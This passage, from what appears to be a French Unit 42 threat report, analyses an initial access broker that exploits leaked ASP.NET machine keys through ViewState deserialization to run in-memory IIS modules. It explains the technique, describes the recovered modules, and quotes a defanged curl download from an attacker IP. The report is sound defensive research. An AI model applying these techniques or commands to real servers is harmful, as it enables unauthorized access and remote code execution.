{"id":152303,"date":"2025-07-08T09:51:01","date_gmt":"2025-07-08T16:51:01","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=152303"},"modified":"2025-08-19T10:21:46","modified_gmt":"2025-08-19T17:21:46","slug":"initial-access-broker-exploits-leaked-machine-keys","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/","title":{"rendered":"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial"},"content":{"rendered":"<h2><a id=\"post-152303-_heading=h.h429wx3hy8b2\"><\/a>Synth\u00e8se<\/h2>\n<p>Les chercheurs de Unit\u00a042 ont d\u00e9couvert une campagne men\u00e9e par un courtier d\u2019acc\u00e8s initial (IAB) qui exploite les fuites de cl\u00e9s machine (cl\u00e9s cryptographiques utilis\u00e9es sur les sites ASP.NET) pour acc\u00e9der \u00e0 des organisations cibl\u00e9es. Les IAB p\u00e9n\u00e8trent dans les organisations et vendent ensuite cet acc\u00e8s \u00e0 d\u2019autres agents de menace.<\/p>\n<p>Ce rapport analyse les outils utilis\u00e9s dans ces attaques. Nous suivons cet acteur en tant que <a href=\"https:\/\/unit42.paloaltonetworks.com\/from-activity-to-formal-naming\/\" target=\"_blank\" rel=\"noopener\">groupe temporaire<\/a> TGR-CRI-0045. Le groupe semble suivre une approche opportuniste, mais il a attaqu\u00e9 des organisations en Europe et aux \u00c9tats-Unis dans les secteurs suivants\u00a0: services financiers, industrie, commerce de gros et de d\u00e9tail, haute technologie, transport et logistique.<\/p>\n<p>L\u2019IAB a utilis\u00e9 ces cl\u00e9s ayant fuit\u00e9es pour signer des payloads malveillants qui permettent un acc\u00e8s non autoris\u00e9 aux serveurs cibl\u00e9s, dans le cadre d\u2019une technique appel\u00e9e d\u00e9s\u00e9rialisation du composant ViewState ASP.NET. Cette technique a permis \u00e0 l\u2019IAB d\u2019ex\u00e9cuter des payloads malveillants directement en m\u00e9moire du serveur, en minimisant leur pr\u00e9sence sur le disque et en laissant peu d\u2019artefacts forensiques, ce qui rend la d\u00e9tection plus difficile.<\/p>\n<p>Nous attribuons le groupe temporaire TGR-CRI-0045, avec un degr\u00e9 de confiance moyen, \u00e0 Gold Melody (alias UNC961, Prophet Spider). Cette \u00e9valuation est bas\u00e9e sur des recoupements dans les domaines suivants\u00a0:<\/p>\n<ul>\n<li>Indicateurs de compromission (IoC)<\/li>\n<li>Tactiques, techniques et proc\u00e9dures (TTP)<\/li>\n<li>Victimologie<\/li>\n<\/ul>\n<p>Ce rapport analyse \u00e9galement l\u2019infrastructure de TGR-CRI-0045, ainsi que les outils utilis\u00e9s pour recueillir des informations sur les autres syst\u00e8mes du r\u00e9seau et maintenir l\u2019acc\u00e8s aux syst\u00e8mes exploit\u00e9s. Ces outils semblent \u00eatre en cours de d\u00e9veloppement.<\/p>\n<p>Les premiers signes d\u2019exploitation et de d\u00e9ploiement d\u2019outils datent d\u2019octobre 2024, avec une augmentation significative de l\u2019activit\u00e9 entre fin janvier et mars\u00a02025. Cette mont\u00e9e en puissance comprend le d\u00e9ploiement d\u2019outils de post-exploitation tels que des scanners de ports open-source et des utilitaires personnalis\u00e9s pour la persistance (maintien de l\u2019acc\u00e8s) et l'\u00e9l\u00e9vation de privil\u00e8ges (obtention d\u2019un acc\u00e8s de plus haut niveau).<\/p>\n<p>Nous avons identifi\u00e9 ou r\u00e9pondu \u00e0 des incidents dans une douzaine d\u2019organisations touch\u00e9es par cette menace. Dans la plupart des cas, nous avons identifi\u00e9 les cl\u00e9s machine expos\u00e9es comme \u00e9tant la cause initiale de la compromission. C\u2019est pourquoi nous recommandons vivement aux organisations de suivre <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">les conseils de Microsoft<\/a> sur l\u2019identification et la correction des cl\u00e9s machine compromises pour les sites ASP.NET Internet Information Services (IIS) dans leur environnement.<\/p>\n<p>Les clients de Palo Alto Networks sont mieux prot\u00e9g\u00e9s contre les outils d\u00e9crits dans cet article gr\u00e2ce aux produits et services suivants\u00a0:<\/p>\n<ul>\n<li>Les mod\u00e8les de Machine\u00a0Learning d\u2019<a href=\"https:\/\/docs.paloaltonetworks.com\/wildfire\" target=\"_blank\" rel=\"noopener\">Advanced\u00a0WildFire<\/a> ont \u00e9t\u00e9 mis \u00e0 jour sur la base des indicateurs de compromission (IoC) identifi\u00e9s dans cette recherche.<\/li>\n<li><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XDR\" target=\"_blank\" rel=\"noopener\">Cortex XDR<\/a> et <a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSIAM\" target=\"_blank\" rel=\"noopener\">XSIAM<\/a> fournit des protections pr\u00e9configur\u00e9es pour les exploits de d\u00e9s\u00e9rialisation IIS avec le module de protection IIS.<\/li>\n<\/ul>\n<p>Si vous pensez que votre entreprise a pu \u00eatre compromise ou si vous faites face \u00e0 une urgence, contactez l\u2019<a href=\"https:\/\/start.paloaltonetworks.com\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">\u00e9quipe Unit\u00a042 de r\u00e9ponse aux incidents<\/a>.<\/p>\n<table style=\"width: 95.9778%;\">\n<thead>\n<tr>\n<td style=\"width: 35%;\"><b>RUnit\u00a042 -\u00a0Th\u00e9matiques connexes<\/b><\/td>\n<td style=\"width: 172.263%;\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/fr\/tag\/microsoft-fr\/\" target=\"_blank\" rel=\"noopener\"><b>Microsoft<\/b><\/a>, <strong><a href=\"https:\/\/unit42.paloaltonetworks.com\/fr\/tag\/web-shells-fr\/\" target=\"_blank\" rel=\"noopener\">Web Shells<\/a><\/strong>, <a href=\"https:\/\/unit42.paloaltonetworks.com\/fr\/tag\/golang-fr\/\" target=\"_blank\" rel=\"noopener\"><b>Golang<\/b><\/a><\/td>\n<\/tr>\n<\/thead>\n<\/table>\n<h2><a id=\"post-152303-_heading=h.sp88isr9vchk\"><\/a>Analyse technique<\/h2>\n<h4><a id=\"post-152303-_heading=h.hb0hb0a2irl8\"><\/a>Comment L\u2019\u00e9quipe Managed Threat Hunting (MTH) a d\u00e9couvert TGR-CRI-0045\u00a0: une hausse de l\u2019exploitation<\/h4>\n<p>Entre le 30 janvier et le 2 f\u00e9vrier\u00a02025, nous avons r\u00e9pondu \u00e0 des intrusions de serveurs web dans deux environnements clients. Dans les deux cas, les intrusions ont impliqu\u00e9 l\u2019ex\u00e9cution d\u2019un shell de commande \u00e0 partir d\u2019un processus IIS (<span style=\"font-family: 'courier new', courier, monospace;\">w3wp.exe<\/span>). Ces intrusions pr\u00e9sentaient les caract\u00e9ristiques communes suivantes\u00a0:<\/p>\n<ul>\n<li>invocation de cmd.exe avec redirection des sorties stdout et <span style=\"font-family: 'courier new', courier, monospace;\">stderr\u00a0: cmd \/c votre_commande_ici 2&gt;&amp;1<\/span><\/li>\n<li>R\u00e9pertoire interm\u00e9diaire: <span style=\"font-family: 'courier new', courier, monospace;\">C:\\Windows\\Temp\\111t<\/span><\/li>\n<li>Fichier r\u00e9cup\u00e9r\u00e9 via <span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span> \u00e0 partir de\u00a0: <span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/195.123.240[.]233:443\/atm<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-152303-_heading=h.f4t7vc3q1zcr\"><\/a>Investigation plus vaste<\/h4>\n<p>De mani\u00e8re inattendue, l\u2019examen des terminaux affect\u00e9s n\u2019a r\u00e9v\u00e9l\u00e9 aucune webshell r\u00e9cemment charg\u00e9e. Cependant, en \u00e9largissant l\u2019investigation, on a pu d\u00e9couvrir la m\u00eame invocation de <span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span> et la m\u00eame utilisation abusive du r\u00e9pertoire interm\u00e9diaire dans les autres intrusions.<\/p>\n<p>La t\u00e9l\u00e9m\u00e9trie a confirm\u00e9 que l\u2019attaquant a ex\u00e9cut\u00e9 des commandes chargeant du code .NET assemblies (code C#) directement dans la m\u00e9moire (reflective loading). Cette exploitation visait le composant <span style=\"font-family: georgia, palatino, serif;\">ViewState<\/span>, un param\u00e8tre interne des sites ASP.NET fonctionnant sous <a href=\"https:\/\/www.iis.net\/\" target=\"_blank\" rel=\"noopener\">Microsoft IIS<\/a> via la d\u00e9s\u00e9rialisation d\u2019un payload malveillant. La d\u00e9s\u00e9rialisation est le processus de conversion des donn\u00e9es encod\u00e9es pour le transit ou le stockage en \u00e9tat d\u2019application interne. Comme l\u2019a indiqu\u00e9 <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">MSTIC<\/a>, cette exploitation a probablement \u00e9t\u00e9 rendue possible par l\u2019utilisation par les victimes de cl\u00e9s machine statiques et connues publiquement dans leurs applications.<\/p>\n<p>Les rapports publics sur les acteurs de la menace motiv\u00e9s par des raisons financi\u00e8res qui exploitent les vuln\u00e9rabilit\u00e9s IIS sont limit\u00e9s. Le pr\u00e9sent rapport vise \u00e0 combler cette lacune en donnant un aper\u00e7u des techniques d\u2019exploitation des attaquants et en contribuant \u00e0 une meilleure compr\u00e9hension de l\u2019exploitation de la d\u00e9s\u00e9rialisation .NET. Notre objectif est de donner aux \u00e9quipes de s\u00e9curit\u00e9 les moyens de r\u00e9pondre efficacement \u00e0 ces menaces.<\/p>\n<h3><a id=\"post-152303-_heading=h.qcbghxbvl7ph\"><\/a>Comment TGR-CRI-0045 a exploit\u00e9 les serveurs des victimes<\/h3>\n<h4><a id=\"post-152303-_heading=h.d9cx7fsam26\"><\/a>IIS et ASP.NET\u00a0: l\u2019a b c de l\u2019exploitation ViewState<\/h4>\n<p>Pour comprendre les acc\u00e8s utilis\u00e9s par TGR-CRI-0045, il est essentiel d\u2019expliquer les r\u00f4les d\u2019IIS, d\u2019ASP.NET et de ViewState, ainsi que la mani\u00e8re dont les cl\u00e9s compromises permettent l\u2019ex\u00e9cution de codes \u00e0 distance. IIS est un serveur web qui prend en charge diverses technologies d\u2019application web, dont ASP.NET. Ce framework permet aux d\u00e9veloppeurs de cr\u00e9er des applications dynamiques c\u00f4t\u00e9 serveur en utilisant des langages .NET tels que C# et VB.NET.<\/p>\n<p>Les sites web ASP.NET utilisent ViewState pour g\u00e9rer les interactions entre le navigateur de l\u2019utilisateur et le serveur. ViewState conserve l\u2019\u00e9tat des contr\u00f4les frontend (par exemple, les cases \u00e0 cocher et les champs de saisie) d\u2019une requ\u00eate \u00e0 l\u2019autre, en stockant ces informations dans un param\u00e8tre HTTP masqu\u00e9 nomm\u00e9 <span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span>, inclus dans toutes les requ\u00eates. Ce param\u00e8tre est vuln\u00e9rable \u00e0 diverses techniques de d\u00e9s\u00e9rialisation .NET qui peuvent permettre l\u2019ex\u00e9cution de code \u00e0 distance si l\u2019attaquant conna\u00eet la cl\u00e9 utilis\u00e9e pour le prot\u00e9ger.<\/p>\n<p>Les cl\u00e9s machine, compos\u00e9es d\u2019une cl\u00e9 de validation (pour l\u2019int\u00e9grit\u00e9) et d\u2019une cl\u00e9 de d\u00e9chiffrement facultative, prot\u00e8gent par d\u00e9faut les ViewState ASP.NET contre les manipulations. Toutefois, les attaquants peuvent exploiter les listes publiques de cl\u00e9s machine qui ont \u00e9t\u00e9 divulgu\u00e9es et qui sont souvent pr\u00e9sentes sur les sites de production en raison de la r\u00e9utilisation du code (r\u00e9f\u00e9renc\u00e9es \u00e0 la fin de cet article).<\/p>\n<p>Les attaquants peuvent \u00e9galement extraire les cl\u00e9s machine directement \u00e0 partir des serveurs en cours d\u2019ex\u00e9cution. Avec un ensemble valide de cl\u00e9s machine, un attaquant peut cr\u00e9er un payload de d\u00e9s\u00e9rialisation malveillant, cibler un serveur vuln\u00e9rable et ex\u00e9cuter un code arbitraire dans le contexte du processus IIS.<\/p>\n<p>La port\u00e9e potentielle de cette attaque est consid\u00e9rable. Les ViewState sont transmis ind\u00e9pendamment du site ou de l\u2019application sp\u00e9cifique fonctionnant sur ASP.NET, m\u00eame s\u2019ils sont d\u00e9sactiv\u00e9s pour un composant particulier. Tout serveur IIS ex\u00e9cutant un site ASP.NET dont les cl\u00e9s machine sont compromises est probablement vuln\u00e9rable. Pour une explication d\u00e9taill\u00e9e de la mani\u00e8re dont les agents de menace stockent et acc\u00e8dent aux cl\u00e9s machine, nous vous recommandons vivement <a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">cet article du blog Zeroed.tech<\/a>.<\/p>\n<h4><a id=\"post-152303-_heading=h.3n5dvi1se39c\"><\/a>G\u00e9n\u00e9ration et ex\u00e9cution des payloads de l\u2019\u00e9tat de vue<\/h4>\n<p>TGR-CRI-0045 a probablement utilis\u00e9 des outils tels que <span style=\"font-family: 'courier new', courier, monospace;\">ysoserial.net<\/span> - un g\u00e9n\u00e9rateur de payload de d\u00e9s\u00e9rialisation .NET open-source et son <a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">plug-in <\/a>ViewState afin de d\u00e9velopper des payloads de d\u00e9s\u00e9rialisation malveillants qui\u00a0:<\/p>\n<ul>\n<li>contournent la protection ViewState en utilisant des cl\u00e9s machine pr\u00e9-expos\u00e9es pour cr\u00e9er des signatures cryptographiques valides, en contournant les protections int\u00e9gr\u00e9es \u00e0 ViewState (les sites compromis avaient souvent des fichiers <span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span> contenant des cl\u00e9s machine figurant dans des listes connues).<\/li>\n<li>utilisent le <a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">gadget <span style=\"font-family: 'courier new', courier, monospace;\">XamlAssemblyLoadFromFile<\/span><\/a>, un outil de d\u00e9s\u00e9rialisation reposant sur des donn\u00e9es format\u00e9es en XAML \u00e0 des fins suivantes\u00a0:\n<ul>\n<li>d\u00e9clencher une d\u00e9s\u00e9rialisation malveillante<\/li>\n<li>charger et ex\u00e9cuter un code.NET assembly en m\u00e9moire \u00e0 partir d\u2019un flux gzip encod\u00e9 en Base64 contenu dans le param\u00e8tre <span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Les codes .NET assemblies charg\u00e9s ont le m\u00eame cycle de vie que la requ\u00eate HTTP. L\u2019attaquant lance un payload d\u2019exploitation et le serveur cible assure son traitement. Le payload s\u2019ex\u00e9cute en utilisant les param\u00e8tres d\u2019entr\u00e9e regroup\u00e9s dans la m\u00eame requ\u00eate et renvoie le r\u00e9sultat \u00e0 la requ\u00eate d\u2019origine par le biais de la r\u00e9ponse\u00a0HTTP.<\/p>\n<p>Une fois trait\u00e9, le payload ne peut \u00eatre r\u00e9utilis\u00e9. Cet exploit ponctuel n\u00e9cessite une tentative distincte pour chaque commande, ce qui se traduit par un rapport de 1:1 entre les tentatives d\u2019exploit et les ex\u00e9cutions de commandes. La figure\u00a01 ci-dessous illustre ce processus.<\/p>\n<figure id=\"attachment_152304\" aria-describedby=\"caption-attachment-152304\" style=\"width: 1000px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-152304 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-288663-152303-1.png\" alt=\"Diagramme d\u00e9crivant le processus de requ\u00eate et de r\u00e9ponse HTTP. Il comprend des ic\u00f4nes repr\u00e9sentant des param\u00e8tres, un utilisateur, un serveur et un document. Les zones de texte affichent des \u00e9l\u00e9ments du processus tels que les URL et les m\u00e9thodes HTTP (GET et POST), ainsi que les r\u00e9ponses.\" width=\"1000\" height=\"387\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-288663-152303-1.png 1849w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-288663-152303-1-786x304.png 786w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-288663-152303-1-1808x700.png 1808w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-288663-152303-1-768x297.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-288663-152303-1-1536x595.png 1536w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><figcaption id=\"caption-attachment-152304\" class=\"wp-caption-text\">Figure 1. \u00c9valuation du flux d\u2019actions de l\u2019op\u00e9rateur pour d\u00e9velopper un payload et de la mani\u00e8re dont une r\u00e9ponse lui est renvoy\u00e9e.<\/figcaption><\/figure>\n<h3><a id=\"post-152303-_heading=h.d6bt86p6nzop\"><\/a>R\u00e9cup\u00e9ration et analyse des modules IIS TGR-CRI-0045<\/h3>\n<p>Dans les environnements compromis, nous avons identifi\u00e9 des sous-ensembles des cinq code .NET assemblies suivants charg\u00e9s dans la m\u00e9moire apr\u00e8s une exploitation r\u00e9ussie du composant ViewState\u00a0:<\/p>\n<ul>\n<li><strong><span style=\"font-family: 'courier new', courier, monospace;\">Cmd \/c<\/span>\u00a0:<\/strong> Nous avons identifi\u00e9 trois sous-variantes, chacune utilisant des param\u00e8tres HTTP diff\u00e9rents pour transmettre une commande au shell de commandes du syst\u00e8me. Cela permettait \u00e0 l\u2019attaquant d\u2019ex\u00e9cuter des commandes arbitraires sur le serveur.<\/li>\n<li><strong>T\u00e9l\u00e9chargement de fichiers\u00a0<\/strong>: L\u2019attaquant \u00e9tait en mesure de t\u00e9l\u00e9charger des fichiers sur le serveur en sp\u00e9cifiant un chemin d\u2019acc\u00e8s au fichier cible et un buffer incluant le contenu du fichier.<\/li>\n<li><strong>Gagnant (Winner)\u00a0<\/strong>: Il s\u2019agit probablement d\u2019une v\u00e9rification de l\u2019exploitation, qui renvoie \u201cu a win\u201d \u00e0 l\u2019attaquant, confirmant une exploitation r\u00e9ussie.<\/li>\n<li><strong>T\u00e9l\u00e9chargement du fichier\u00a0<\/strong>: (Non r\u00e9cup\u00e9r\u00e9) Sur la base des fonctions import\u00e9es, ce module semble \u00eatre un t\u00e9l\u00e9chargeur, permettant \u00e0 l\u2019attaquant de r\u00e9cup\u00e9rer des donn\u00e9es sensibles sur le serveur compromis.<\/li>\n<li><strong>Chargeur r\u00e9fl\u00e9chissant\u00a0<\/strong>: (Non r\u00e9cup\u00e9r\u00e9) Sur la base des fonctions import\u00e9es, ce module semble \u00eatre un chargeur r\u00e9flexif (reflective loader), permettant \u00e0 l\u2019attaquant de charger dynamiquement et d\u2019ex\u00e9cuter des codes .NET assemblies suppl\u00e9mentaires en m\u00e9moire sans les \u00e9crire sur le disque.<\/li>\n<\/ul>\n<p>Les codes r\u00e9cup\u00e9r\u00e9s partagent des caract\u00e9ristiques communes de traitement des donn\u00e9es. Ils semblent utiliser une simple cl\u00e9 XOR \u00e0 un seul caract\u00e8re x pour d\u00e9chiffrer les payloads int\u00e9gr\u00e9s dans les param\u00e8tres HTTP.<\/p>\n<p>Les codes semblent \u00e9galement appeler <span style=\"font-family: 'courier new', courier, monospace;\">httpContext.response.Flush()<\/span> suivi de <span style=\"font-family: 'courier new', courier, monospace;\">httpContext.response.End()<\/span> pour terminer les r\u00e9ponses HTTP. Cela r\u00e9duit probablement la quantit\u00e9 de donn\u00e9es forensiques g\u00e9n\u00e9r\u00e9es lorsque ASP.NET ne parvient pas \u00e0 d\u00e9s\u00e9rialiser correctement les payloads malveillants, ce qui complique la d\u00e9tection et l\u2019intervention en cas d\u2019incident.<\/p>\n<p>Le nom <span style=\"font-family: 'courier new', courier, monospace;\">E<\/span>, par d\u00e9faut <span style=\"font-family: 'courier new', courier, monospace;\"><a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ExploitClass\/ExploitClass.cs\">ysoserial.net ExploitClass<\/a><\/span>. qui appara\u00eet le plus souvent. Pour \u00e9viter tout conflit de noms, l\u2019attaquant a renomm\u00e9 certains modules (par exemple, <span style=\"font-family: 'courier new', courier, monospace;\">Dw<\/span> et <span style=\"font-family: 'courier new', courier, monospace;\">d<\/span>).<\/p>\n<p>Les figures 2 \u00e0 6 ci-dessous montrent le code source des modules r\u00e9cup\u00e9r\u00e9s, qui ont probablement \u00e9t\u00e9 \u00e9crits sous forme de fichiers C# <span style=\"font-family: 'courier new', courier, monospace;\">.cs<\/span>. La compilation, consistant \u00e0 transformer le code source en code ex\u00e9cutable, varie en fonction du gadget <span style=\"font-family: 'courier new', courier, monospace;\">ysoserial.net<\/span> utilis\u00e9. Nous avons le plus souvent observ\u00e9 le gadget <span style=\"font-family: 'courier new', courier, monospace;\">XamlAssemblyLoadFromFile<\/span>, qui compile le code.NET assembly sur le syst\u00e8me de l\u2019attaquant pendant l\u2019exploitation et le transmet au serveur cible pour une ex\u00e9cution en m\u00e9moire.<\/p>\n<p><strong>Payloads cmd<\/strong><\/p>\n<figure id=\"attachment_152315\" aria-describedby=\"caption-attachment-152315\" style=\"width: 830px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-152315 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-291966-152303-2.png\" alt=\"Capture d\u2019\u00e9cran d\u2019un extrait de code dans un \u00e9diteur de texte avec mise en \u00e9vidence de la syntaxe. Le code consiste \u00e0 g\u00e9rer une exception, \u00e0 lancer un processus pour ex\u00e9cuter &quot;cmd.exe&quot;, \u00e0 rediriger l\u2019entr\u00e9e et la sortie standard et \u00e0 effacer le contexte HTTP. L\u2019interface de l\u2019\u00e9diteur utilise le mode sombre et affiche les num\u00e9ros de ligne \u00e0 c\u00f4t\u00e9 du code.\" width=\"830\" height=\"786\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-291966-152303-2.png 830w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-291966-152303-2-465x440.png 465w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-291966-152303-2-739x700.png 739w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-291966-152303-2-768x727.png 768w\" sizes=\"(max-width: 830px) 100vw, 830px\" \/><figcaption id=\"caption-attachment-152315\" class=\"wp-caption-text\">Figure 2. Source du payload variant<span style=\"font-family: 'courier new', courier, monospace;\"> cmd \/c<\/span> avec des en-t\u00eates sec-fetch-mode.<\/figcaption><\/figure>\n<figure id=\"attachment_152326\" aria-describedby=\"caption-attachment-152326\" style=\"width: 781px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-152326 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-295422-152303-3.png\" alt=\"Capture d\u2019\u00e9cran d\u2019un code informatique dans un \u00e9diteur de texte, comportant des fonctions et des commandes li\u00e9es au contexte HTTP et aux processus du syst\u00e8me, y compris des r\u00e9f\u00e9rences \u00e0 la gestion des erreurs en passant par la r\u00e9cup\u00e9ration des arguments de la ligne de commande.\" width=\"781\" height=\"626\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-295422-152303-3.png 781w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-295422-152303-3-549x440.png 549w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-295422-152303-3-768x616.png 768w\" sizes=\"(max-width: 781px) 100vw, 781px\" \/><figcaption id=\"caption-attachment-152326\" class=\"wp-caption-text\">Figure 3. Source du variant<span style=\"font-family: 'courier new', courier, monospace;\"> cmd \/c<\/span> avec l\u2019en-t\u00eate cmd.<\/figcaption><\/figure>\n<figure id=\"attachment_152337\" aria-describedby=\"caption-attachment-152337\" style=\"width: 830px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-152337 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-298829-152303-4.png\" alt=\"Capture d\u2019\u00e9cran d\u2019un code informatique avec mise en \u00e9vidence de la syntaxe. Le code comprend des fonctions et des commentaires relatifs \u00e0 la gestion des erreurs et aux op\u00e9rations de contexte\u00a0HTTP.\" width=\"830\" height=\"1089\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-298829-152303-4.png 830w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-298829-152303-4-335x440.png 335w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-298829-152303-4-534x700.png 534w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-298829-152303-4-768x1008.png 768w\" sizes=\"(max-width: 830px) 100vw, 830px\" \/><figcaption id=\"caption-attachment-152337\" class=\"wp-caption-text\">Figure 4. Source du variant <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span> avec le param\u00e8tre<span style=\"font-family: 'courier new', courier, monospace;\"> __Value<\/span> et le chiffrement XOR \u00e0 un seul caract\u00e8re.<\/figcaption><\/figure>\n<p><strong>T\u00e9l\u00e9chargement de fichiers<\/strong><\/p>\n<figure id=\"attachment_152348\" aria-describedby=\"caption-attachment-152348\" style=\"width: 800px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-152348 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-303028-152303-5.png\" alt=\"Capture d\u2019\u00e9cran d\u2019un \u00e9diteur de code informatique affichant du code avec diverses fonctions, notamment des op\u00e9rations sur les baies et la gestion du contexte\u00a0HTTP. Le code est mis en \u00e9vidence par la syntaxe et s\u2019affiche en mode sombre. \" width=\"800\" height=\"779\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-303028-152303-5.png 1027w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-303028-152303-5-452x440.png 452w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-303028-152303-5-719x700.png 719w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-303028-152303-5-768x748.png 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption id=\"caption-attachment-152348\" class=\"wp-caption-text\">Figure\u00a05. Source de l\u2019assemblage de chargement de fichiers qui utilise un chemin et le contenu du fichier dans les param\u00e8tres <span style=\"font-family: 'courier new', courier, monospace;\">__Fvalue<\/span> et<span style=\"font-family: 'courier new', courier, monospace;\"> __Bvalue<\/span>, respectivement.<\/figcaption><\/figure>\n<p><strong>V\u00e9rificateur d\u2019exploits<\/strong><\/p>\n<figure id=\"attachment_152359\" aria-describedby=\"caption-attachment-152359\" style=\"width: 826px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-152359 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-306396-152303-6.png\" alt=\"Capture d\u2019\u00e9cran d\u2019un code informatique dans un \u00e9diteur avec mise en \u00e9vidence de la syntaxe et en utilisant HttpContext. \" width=\"826\" height=\"531\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-306396-152303-6.png 826w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-306396-152303-6-684x440.png 684w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/08\/word-image-306396-152303-6-768x494.png 768w\" sizes=\"(max-width: 826px) 100vw, 826px\" \/><figcaption id=\"caption-attachment-152359\" class=\"wp-caption-text\">Figure 6. Source de l\u2019assemblage du v\u00e9rificateur d\u2019exploits qui renvoie simplement \u00e0 l\u2019op\u00e9rateur <span style=\"font-family: 'courier new', courier, monospace;\">u a win<\/span> pour indiquer que l\u2019exploitation a r\u00e9ussi.<\/figcaption><\/figure>\n<h4><a id=\"post-152303-_heading=h.8jq0zj6npt49\"><\/a>Utilisation op\u00e9rationnelle des assemblages<\/h4>\n<p>Entre octobre 2024 et janvier 2025, l\u2019activit\u00e9 de l\u2019agent de menace s\u2019est principalement concentr\u00e9e sur l\u2019exploitation des syst\u00e8mes, le d\u00e9ploiement de modules (comme l\u2019outil de v\u00e9rification des exploits) et l\u2019ex\u00e9cution d\u2019une reconnaissance basique.<\/p>\n<h3><a id=\"post-152303-_heading=h.e0pob6cq8li8\"><\/a>La post-exploitation, un clavier \u00e0 port\u00e9e de main<\/h3>\n<p>L\u2019activit\u00e9 post-exploitation a principalement consist\u00e9 en une reconnaissance de l\u2019h\u00f4te compromis et du r\u00e9seau environnant. Nous n\u2019avions observ\u00e9 aucun mouvement lat\u00e9ral au d\u00e9but du mois de juin.<\/p>\n<p>Une caract\u00e9ristique commune \u00e0 toutes les intrusions observ\u00e9es est que TGR-CRI-0045 utilise <span style=\"font-family: 'courier new', courier, monospace;\">C:\\NWindows\\NTemp\\N111t<\/span> comme r\u00e9pertoire de stockage pour les outils et les donn\u00e9es. Dans quelques cas isol\u00e9s, nous avons 